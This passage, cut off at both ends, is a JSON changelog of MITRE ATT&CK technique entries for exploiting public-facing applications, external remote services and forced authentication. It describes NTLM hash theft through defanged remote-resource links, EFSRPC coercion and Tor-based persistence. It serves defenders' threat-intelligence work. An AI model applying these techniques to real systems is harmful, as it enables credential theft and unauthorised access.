25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1190", + "external_id": "T1190" + }, + { + "source_name": "CWE top 25", + "description": "Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019.", + "url": "https://cwe.mitre.org/top25/index.html" + }, + { + "source_name": "CIS Multiple SMB Vulnerabilities", + "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.", + "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/" + }, + { + "source_name": "Ars Technica VMWare Code Execution Vulnerability 2021", + "description": "Dan Goodin . (2021, February 25). Code-execution flaw in VMware has a severity rating of 9.8 out of 10. Retrieved April 8, 2025.", + "url": "https://arstechnica.com/information-technology/2021/02/armed-with-exploits-hackers-on-the-prowl-for-a-critical-vmware-vulnerability/" + }, + { + "source_name": "Recorded Future ESXiArgs Ransomware 2023", + "description": "German Hoeffner, Aaron Soehnen and Gianni Perez. (2023, February 7). ESXiArgs Ransomware Targets Publicly-Exposed ESXi OpenSLP Servers. Retrieved March 26, 2025.", + "url": "https://www.recordedfuture.com/blog/esxiargs-ransomware-targets-vmware-esxi-openslp-servers" + }, + { + "source_name": "Wired Russia Cyberwar", + "description": "Greenberg, A. (2022, November 10). Russia\u2019s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023.", + "url": "https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/" + }, + { + "source_name": "Mandiant Fortinet Zero Day", + "description": "Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.", + "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem" + }, + { + "source_name": "NVD CVE-2016-6662", + "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662" + }, + { + "source_name": "NVD CVE-2014-7169", + "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169" + }, + { + "source_name": "Cisco Blog Legacy Device Attacks", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954" + }, + { + "source_name": "OWASP Top 10", + "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.", + "url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" + }, + { + "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018", + "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Praetorian", + "Yossi Weizman, Azure Defender Research Team", + "Don Le, Stifel Financial" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "ESXi", + "IaaS", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "2.8", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.788000+00:00\", \"old_value\": \"2025-04-15 19:58:25.266000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.8\", \"old_value\": \"2.7\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][2]\": \"Don Le, Stifel Financial\"}}", + "previous_version": "2.7", + "version_change": "2.7 \u2192 2.8", + "changelog_mitigations": { + "shared": [ + "M1016: Vulnerability Scanning", + "M1026: Privileged Account Management", + "M1030: Network Segmentation", + "M1035: Limit Access to Resource Over Network", + "M1048: Application Isolation and Sandboxing", + "M1050: Exploit Protection", + "M1051: Update Software" + ], + "new": [ + "M1037: Filter Network Traffic" + ], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0080: Exploit Public-Facing Application \u2013 multi-signal correlation (request \u2192 error \u2192 post-exploit process/egress)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:44.421000+00:00", + "modified": "2025-10-24 17:48:24.982000+00:00", + "name": "External Remote Services", + "description": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)\n\nAdversaries may also establish persistence on network by configuring a Tor hidden service on a compromised system. Adversaries may utilize the tool `ShadowLink` to facilitate the installation and configuration of the Tor hidden service. Tor hidden service is then accessible via the Tor network because `ShadowLink` sets up a .onion address on the compromised system. `ShadowLink` may be used to forward any inbound connections to RDP, allowing the adversaries to have remote access.(Citation: The BadPilot campaign) Adversaries may get `ShadowLink` to persist on a system by masquerading it as an MS Defender application.(Citation: Russian threat actors dig in, prepare to seize on war fatigue)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1133", + "external_id": "T1133" + }, + { + "source_name": "Volexity Virtual Private Keylogging", + "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.", + "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" + }, + { + "source_name": "MacOS VNC software for Remote Desktop", + "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.", + "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac" + }, + { + "source_name": "Unit 42 Hildegard Malware", + "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.", + "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/" + }, + { + "source_name": "Russian threat actors dig in, prepare to seize on war fatigue", + "description": "Microsoft Threat Intelligence. (2023, December 7). Russian threat actors dig in, prepare to seize on war fatigue. Retrieved June 18, 2025.", + "url": "https://www.microsoft.com/en-us/security/security-insider/intelligence-reports/russian-threat-actors-dig-in-prepare-to-seize-on-war-fatigue" + }, + { + "source_name": "The BadPilot campaign", + "description": "Microsoft Threat Intelligence. (2025, February 12). The BadPilot campaign: Seashell Blizzard subgroup conducts multiyear global access operation. Retrieved June 18, 2025.", + "url": "https://www.microsoft.com/en-us/security/blog/2025/02/12/the-badpilot-campaign-seashell-blizzard-subgroup-conducts-multiyear-global-access-operation/?ref=thestack.technology" + }, + { + "source_name": "Trend Micro Exposed Docker Server", + "description": "Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.", + "url": "https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "ExtraHop", + "David Fiser, @anu4is, Trend Micro", + "Alfredo Oliveira, Trend Micro", + "Idan Frimark, Cisco", + "Rory McCune, Aqua Security", + "Yuval Avrahami, Palo Alto Networks", + "Jay Chen, Palo Alto Networks", + "Brad Geesaman, @bradgeesaman", + "Magno Logan, @magnologan, Trend Micro", + "Ariel Shuper, Cisco", + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee", + "Daniel Oakley", + "Travis Smith, Tripwire", + "David Tayouri", + "Liran Ravich, CardinalOps" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "2.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Flow\", \"Logon Session: Logon Session Metadata\", \"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:24.982000+00:00\", \"old_value\": \"2025-04-15 22:34:58.667000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\\n\\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\\n\\nAccess may also be gained through an exposed service that doesn\\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)\\n\\nAdversaries may also establish persistence on network by configuring a Tor hidden service on a compromised system. Adversaries may utilize the tool `ShadowLink` to facilitate the installation and configuration of the Tor hidden service. Tor hidden service is then accessible via the Tor network because `ShadowLink` sets up a .onion address on the compromised system. `ShadowLink` may be used to forward any inbound connections to RDP, allowing the adversaries to have remote access.(Citation: The BadPilot campaign) Adversaries may get `ShadowLink` to persist on a system by masquerading it as an MS Defender application.(Citation: Russian threat actors dig in, prepare to seize on war fatigue)\", \"old_value\": \"Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\\n\\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\\n\\nAccess may also be gained through an exposed service that doesn\\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)\", \"diff\": \"--- \\n+++ \\n@@ -3,3 +3,5 @@\\n Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\\n \\n Access may also be gained through an exposed service that doesn\\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)\\n+\\n+Adversaries may also establish persistence on network by configuring a Tor hidden service on a compromised system. Adversaries may utilize the tool `ShadowLink` to facilitate the installation and configuration of the Tor hidden service. Tor hidden service is then accessible via the Tor network because `ShadowLink` sets up a .onion address on the compromised system. `ShadowLink` may be used to forward any inbound connections to RDP, allowing the adversaries to have remote access.(Citation: The BadPilot campaign) Adversaries may get `ShadowLink` to persist on a system by masquerading it as an MS Defender application.(Citation: Russian threat actors dig in, prepare to seize on war fatigue)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\\n\\nWhen authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\\n-\\n-When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.5\", \"old_value\": \"2.4\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"Russian threat actors dig in, prepare to seize on war fatigue\", \"description\": \"Microsoft Threat Intelligence. (2023, December 7). Russian threat actors dig in, prepare to seize on war fatigue. Retrieved June 18, 2025.\", \"url\": \"https://www.microsoft.com/en-us/security/security-insider/intelligence-reports/russian-threat-actors-dig-in-prepare-to-seize-on-war-fatigue\"}, \"root['external_references'][5]\": {\"source_name\": \"The BadPilot campaign\", \"description\": \"Microsoft Threat Intelligence. (2025, February 12). The BadPilot campaign: Seashell Blizzard subgroup conducts multiyear global access operation. Retrieved June 18, 2025.\", \"url\": \"https://www.microsoft.com/en-us/security/blog/2025/02/12/the-badpilot-campaign-seashell-blizzard-subgroup-conducts-multiyear-global-access-operation/?ref=thestack.technology\"}, \"root['x_mitre_contributors'][15]\": \"Liran Ravich, CardinalOps\"}}", + "previous_version": "2.4", + "version_change": "2.4 \u2192 2.5", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may leverage external-facing remote services to t1Adversaries may leverage external-facing remote services to 
>initially access and/or persist within a network. Remote ser>initially access and/or persist within a network. Remote ser
>vices such as VPNs, Citrix, and other access mechanisms allo>vices such as VPNs, Citrix, and other access mechanisms allo
>w users to connect to internal enterprise network resources >w users to connect to internal enterprise network resources 
>from external locations. There are often remote service gate>from external locations. There are often remote service gate
>ways that manage connections and credential authentication f>ways that manage connections and credential authentication f
>or these services. Services such as [Windows Remote Manageme>or these services. Services such as [Windows Remote Manageme
>nt](https://attack.mitre.org/techniques/T1021/006) and [VNC]>nt](https://attack.mitre.org/techniques/T1021/006) and [VNC]
>(https://attack.mitre.org/techniques/T1021/005) can also be >(https://attack.mitre.org/techniques/T1021/005) can also be 
>used externally.(Citation: MacOS VNC software for Remote Des>used externally.(Citation: MacOS VNC software for Remote Des
>ktop)  Access to [Valid Accounts](https://attack.mitre.org/t>ktop)  Access to [Valid Accounts](https://attack.mitre.org/t
>echniques/T1078) to use the service is often a requirement, >echniques/T1078) to use the service is often a requirement, 
>which could be obtained through credential pharming or by ob>which could be obtained through credential pharming or by ob
>taining the credentials from users after compromising the en>taining the credentials from users after compromising the en
>terprise network.(Citation: Volexity Virtual Private Keylogg>terprise network.(Citation: Volexity Virtual Private Keylogg
>ing) Access to remote services may be used as a redundant or>ing) Access to remote services may be used as a redundant or
> persistent access mechanism during an operation.  Access ma> persistent access mechanism during an operation.  Access ma
>y also be gained through an exposed service that doesn\u2019t req>y also be gained through an exposed service that doesn\u2019t req
>uire authentication. In containerized environments, this may>uire authentication. In containerized environments, this may
> include an exposed Docker API, Kubernetes API server, kubel> include an exposed Docker API, Kubernetes API server, kubel
>et, or web application such as the Kubernetes dashboard.(Cit>et, or web application such as the Kubernetes dashboard.(Cit
>ation: Trend Micro Exposed Docker Server)(Citation: Unit 42 >ation: Trend Micro Exposed Docker Server)(Citation: Unit 42 
>Hildegard Malware)>Hildegard Malware)  Adversaries may also establish persisten
 >ce on network by configuring a Tor hidden service on a compr
 >omised system. Adversaries may utilize the tool `ShadowLink`
 > to facilitate the installation and configuration of the Tor
 > hidden service. Tor hidden service is then accessible via t
 >he Tor network because `ShadowLink` sets up a .onion address
 > on the compromised system. `ShadowLink` may be used to forw
 >ard any inbound connections to RDP, allowing the adversaries
 > to have remote access.(Citation: The BadPilot campaign) Adv
 >ersaries may get `ShadowLink` to persist on a system by masq
 >uerading it as an MS Defender application.(Citation: Russian
 > threat actors dig in, prepare to seize on war fatigue)
", + "changelog_mitigations": { + "shared": [ + "M1030: Network Segmentation", + "M1032: Multi-factor Authentication", + "M1035: Limit Access to Resource Over Network", + "M1042: Disable or Remove Feature or Program" + ], + "new": [ + "M1021: Restrict Web-Based Content" + ], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0028: Logon Session (Logon Session Metadata)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0354: Behavior-chain detection for T1133 External Remote Services across Windows, Linux, macOS, Containers" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16 16:13:52.465000+00:00", + "modified": "2025-10-24 17:49:16.134000+00:00", + "name": "Forced Authentication", + "description": "Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server.(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.(Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)\n\nAlternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\n\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1187", + "external_id": "T1187" + }, + { + "source_name": "Rapid7", + "description": "Condon, Caitlin. (2022, April 24). PetitPotam: Novel Attack Chain Can Fully Compromise Windows Domains. Retrieved May 30, 2025.", + "url": "https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/" + }, + { + "source_name": "Cylance Redirect to SMB", + "description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf" + }, + { + "source_name": "GitHub Hashjacking", + "description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.", + "url": "https://github.com/hob0/hashjacking" + }, + { + "source_name": "Microsoft Managing WebDAV Security", + "description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20100210125749/https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx" + }, + { + "source_name": "Osanda Stealing NetNTLM Hashes", + "description": "Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.", + "url": "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/" + }, + { + "source_name": "Didier Stevens WebDAV Traffic", + "description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.", + "url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/" + }, + { + "source_name": "GitHub", + "description": "topotam. (2021, July 18). PetitPotam. PoC tool to coerce Windows hosts to authenticate to other machines. Retrieved May 30, 2025.", + "url": "https://github.com/topotam/PetitPotam" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + }, + { + "source_name": "Wikipedia Server Message Block", + "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.", + "url": "https://en.wikipedia.org/wiki/Server_Message_Block" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Teodor Cimpoesu", + "Sudhanshu Chauhan, @Sudhanshu_C", + "Jiraput Thamsongkrah", + "Purinut Wongwaiwuttiguldej", + "Natthawut Saexu" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Network Traffic: Network Traffic Flow\", \"File: File Modification\", \"File: File Creation\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.134000+00:00\", \"old_value\": \"2025-04-15 22:36:48.417000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\\n\\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\\n\\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security)\\n\\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server.(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.(Citation: Cylance Redirect to SMB)\\n\\nThere are several different ways this can occur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\\n\\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)\\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\\\\\[remote address]\\\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)\\n\\nAlternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\\n\\n\", \"old_value\": \"Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\\n\\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\\n\\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\\n\\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\\n\\nThere are several 